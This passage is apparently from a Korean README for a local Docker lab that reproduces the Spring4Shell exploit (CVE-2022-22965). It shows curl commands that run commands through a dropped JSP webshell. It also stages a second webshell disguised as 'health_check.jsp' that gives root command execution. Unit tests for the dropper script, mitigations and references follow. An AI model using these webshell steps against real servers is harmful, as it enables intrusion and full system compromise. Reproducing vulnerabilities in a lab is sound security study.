Tomcat이 λ©”λͺ¨λ¦¬ 버퍼에 λ‹΄κΈ΄ μš”μ²­ 둜그λ₯Ό λ””μŠ€ν¬μ— 물리적 파일둜 κΈ°λ‘ν•˜λ„λ‘ 일반 GET μš”μ²­μ„ μΆ”κ°€λ‘œ λ³΄λƒ…λ‹ˆλ‹€.

```bash
curl -s "http://localhost:8011/spring-form/login" > /dev/null
```

### Step 3. Stage 1 μ›Ήμ‰˜ λ™μž‘ 확인

μƒμ„±λœ 기초 μ‰˜μ— λͺ…λ Ήμ–΄λ₯Ό 전달해 μ„œλ²„ λ‚΄λΆ€ μ‰˜ μ½”λ“œ 싀행이 κ°€λŠ₯ν•œμ§€ κ²€μ¦ν•©λ‹ˆλ‹€.

```bash
curl -s "http://localhost:8011/yaho4.jsp?cmd=whoami"
# κΈ°λŒ€ 좜λ ₯: root
```

### Step 4. Stage 2 배포 (Clean Architecture μ›Ήμ‰˜)

Stage 1 거점을 발판 μ‚Όμ•„ SOLID/Clean Architecture 기반의 μ™„μ„±ν˜• μ›Ήμ‰˜(`health_check.jsp`)을 νƒ€κ²Ÿ μ„œλ²„μ— μ—…λ‘œλ“œν•©λ‹ˆλ‹€.

```bash
# 방법 A: Python μžλ™ν™” 슀크립트 (curl λ‹€μš΄λ‘œλ“œ 방식 - host.docker.internal μ ‘κ·Ό)
python3 stage2_uploader.py

# 방법 B: Docker cp 직접 볡사 (κ°€μž₯ ν™•μ‹€ν•œ 방법 / exploit_runner.py 의 μžλ™ 폴백 방식)
docker cp health_check.jsp cvepratice-spring-1:/usr/local/tomcat/webapps/ROOT/health_check.jsp
```

### Step 5. Stage 2 μ›Ήμ‰˜ μ΅œμ’… 확인 βœ…

```bash
curl -s "http://localhost:8011/health_check.jsp?pwd=glory&cmd=id"
```

**κΈ°λŒ€ 좜λ ₯:**
```html
Advanced WebShell (Stage 2)
$ id
uid=0(root) gid=0(root) groups=0(root)
```

---

## μœ λ‹› ν…ŒμŠ€νŠΈ

Stage 1 Exploit 슀크립트(`stage1_dropper.py`)의 각 λ ˆμ΄μ–΄(Config, PayloadGenerator, Controller)에 λŒ€ν•œ λ‹¨μœ„ ν…ŒμŠ€νŠΈλ₯Ό μž‘μ„±ν•˜μ˜€μŠ΅λ‹ˆλ‹€. μ‹€μ œ μ„œλ²„λ‘œ HTTP μš”μ²­μ„ 보내지 μ•Šκ³ , **Mock 객체(unittest.mock)**λ₯Ό μ΄μš©ν•˜μ—¬ λ…λ¦½μ μœΌλ‘œ κ²€μ¦ν•©λ‹ˆλ‹€.

```bash
python3 -m unittest test_stage1_dropper.py -v
```

**ν…ŒμŠ€νŠΈ μ‹œλ‚˜λ¦¬μ˜€:**

| ν…ŒμŠ€νŠΈ | 검증 λ‚΄μš© |
|--------|----------|
| `test_config_initialization` | νƒ€κ²Ÿ URL, 파일λͺ…, 디렉터리 κΈ°λ³Έκ°’ μ„€μ • 검증 |
| `test_generate_headers_contains_required_keys` | HTTP 헀더에 `prefix`, `suffix`, `c` ν‚€ 포함 μ—¬λΆ€ |
| `test_generate_body_contains_classloader_modification_keys` | Data Binding νŽ˜μ΄λ‘œλ“œ ν‚€ μ •ν™•μ„± |
| `test_generate_body_contains_stager_code` | Stager JSP μ½”λ“œμ˜ `cmd` νŒŒλΌλ―Έν„° 포함 확인 |
| `test_run_exploit_success_on_http_200` | HTTP 200 μ‹œ 성곡 λ°˜ν™˜ |
| `test_run_exploit_success_on_expected_http_error` | HTTP 4xx μ—λŸ¬ μ‹œμ—λ„ μ„±κ³΅μœΌλ‘œ κ°„μ£Ό (Tomcat은 μ—λŸ¬ 응닡에도 둜그 기둝) |
| `test_run_exploit_failure_on_connection_error` | λ„€νŠΈμ›Œν¬ μ—°κ²° μ‹€νŒ¨ μ‹œ μ‹€νŒ¨ λ°˜ν™˜ |

---

## λŒ€μ‘ λ°©μ•ˆ (Mitigation)

| μš°μ„ μˆœμœ„ | 쑰치 방법 |
|----------|----------|
| βœ… ꢌμž₯ | **Spring Framework 5.3.18 λ˜λŠ” 5.2.20 μ΄μƒμœΌλ‘œ μ—…κ·Έλ ˆμ΄λ“œ** |
| βœ… ꢌμž₯ | **Spring Boot 2.6.6 λ˜λŠ” 2.5.12 μ΄μƒμœΌλ‘œ μ—…κ·Έλ ˆμ΄λ“œ** |
| πŸ”„ μž„μ‹œ | Apache Tomcat을 10.0.20, 9.0.62, 8.5.78 μ΄μƒμœΌλ‘œ μ—…κ·Έλ ˆμ΄λ“œ |
| πŸ”„ μž„μ‹œ | JDK 9 이상 μ‚¬μš© 쀑이면 JDK 8둜 λ‹€μš΄κ·Έλ ˆμ΄λ“œ |
| πŸ”„ μž„μ‹œ | `@ControllerAdvice`에 `ClassLoader` λ‚΄λΆ€ ν•„λ“œ 바인딩 차단 둜직 μΆ”κ°€ |

---

## μ°Έκ³ λ¬Έν—Œ

- [SKμ‰΄λ”μŠ€ EQST insight - Research Technique 202204](https://www.skshieldus.com)
- [Spring 곡식 λΈ”λ‘œκ·Έ - Spring4Shell RCE Early Announcement](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)
- [NVD - CVE-2022-22965](https://nvd.nist.gov/vuln/detail/CVE-2022-22965)
- [JFrog Blog - SpringShell Zero-Day](https://jfrog.com/blog/springshell-zero-day-vulnerability-all-you-need-to-know/)
- [Unit42 - CVE-2022-22965 SpringShell Analysis](https://unit42.paloaltonetworks.com/cve-2022-22965-springshell/)
- [Spring Framework Patch Commit](https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15)